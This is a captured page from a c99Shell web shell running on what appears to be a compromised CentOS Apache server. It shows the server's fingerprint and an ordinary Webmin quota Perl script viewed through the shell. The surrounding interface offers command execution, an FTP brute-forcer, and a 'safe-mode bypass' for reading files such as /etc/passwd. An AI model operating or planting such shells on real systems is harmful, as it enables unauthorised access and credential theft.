!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/quota/   drwxr-xr-x
Free 53.72 GB of 127.8 GB (42.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     group_filesys.cgi (3.06 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# group_filesys.cgi
# List all filesystems for which some group has quotas

require './quota-lib.pl';
&ReadParse();
$u = $in{'group'};
$u =~ /\S/ || &error($text{'gfilesys_enone'});
&can_edit_group($u) ||
    &error(&text('gfilesys_ecannot', $u));
&ui_print_header(undef, $text{'gfilesys_title'}, "", "group_filesys");

foreach $f (&list_filesystems()) {
    if ($f->[4] > 1 && $f->[5] && &can_edit_filesys($f->[0])) {
        push(@fslist, $f->[0]);
        $fslist{$f->[0]}++;
        }
    }

# Make sure all block sizes are the same
$n = &group_filesystems($u);
for($i=0; $i<$n; $i++) {
    $bsize = &block_size($filesys{$i,'filesys'});
    if ($last_bsize && $last_bsize != $bsize) {
        $variable_bsize++;
        }
    }

if ($n) {
    print &ui_subheading(&text('gfilesys_all', &html_escape($u)));

    # Generate top header (showing blocks/files)
    @hcols = ( undef, $variable_bsize ? $text{'ufilesys_blocks'}
                      : $text{'ufilesys_space'},
           $config{'show_grace'} ? ( undef ) : ( ),
           $text{'ufilesys_files'},
           $config{'show_grace'} ? ( undef ) : ( ));
    print &ui_columns_start(\@hcols, 100, 0,
        [ undef, "colspan=3 align=center", "colspan=3 align=center" ]);

    # Generate second header
    @hcols = ( $text{'ufilesys_fs'}, $text{'ufilesys_used'},
           $text{'ufilesys_soft'}, $text{'ufilesys_hard'},
           $config{'show_grace'} ? ( $text{'ufilesys_grace'} ) : ( ),
           $text{'ufilesys_used'},
           $text{'ufilesys_soft'}, $text{'ufilesys_hard'},
           $config{'show_grace'} ? ( $text{'ufilesys_grace'} ) : ( ),
         );
    print &ui_columns_header(\@hcols);

    # Generate one row per filesystem the user has quota on
    for($i=0; $i<$n; $i++) {
        $f = $filesys{$i,'filesys'};
        $bsize = &block_size($f);
        local @cols;
        if ($fslist{$f} && !$access{'ro'}) {
            push(@cols, "<a href=\"edit_group_quota.cgi?filesys=$f&group=$u&source=1\">$f</a>");
            }
        else {
            push(@cols, $f);
            }
        if ($bsize) {
            push(@cols, &nice_size($filesys{$i,'ublocks'}*$bsize));
            }
        else {
            push(@cols, $filesys{$i,'ublocks'});
            }
        push(@cols, &nice_limit($filesys{$i,'sblocks'}, $bsize));
        push(@cols, &nice_limit($filesys{$i,'hblocks'}, $bsize));
        push(@cols, $filesys{$i,'gblocks'}) if ($config{'show_grace'});
        push(@cols, $filesys{$i,'ufiles'});
        push(@cols, &nice_limit($filesys{$i,'sfiles'}, $bsize, 1));
        push(@cols, &nice_limit($filesys{$i,'hfiles'}, $bsize, 1));
        push(@cols, $filesys{$i,'gfiles'}) if ($config{'show_grace'});
        print &ui_columns_row(\@cols);
        }
    print &ui_columns_end();
    }
else {
    print "<b>",&text('gfilesys_nogquota', $u),"</b><br>\n";
    }

if (!$access{'ro'}) {
    print &ui_hr();
    print &ui_buttons_start();

    # Form to edit quota on other filesystems
    print &ui_buttons_row("edit_group_quota.cgi",
        $text{'gfilesys_edit'},
        $text{'gfilesys_editdesc'},
        &ui_hidden("group", $u).&ui_hidden("source", 1),
        &ui_select("filesys", undef, \@fslist)
        );

    if ($access{'filesys'} eq "*") {
        # Button to copy quotas
        print &ui_buttons_row("copy_group_form.cgi",
            $text{'gfilesys_copy'},
            $text{'gfilesys_copydesc'},
            &ui_hidden("group", $u));
        }

    print &ui_buttons_end();
    }

&ui_print_footer("", $text{'gfilesys_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--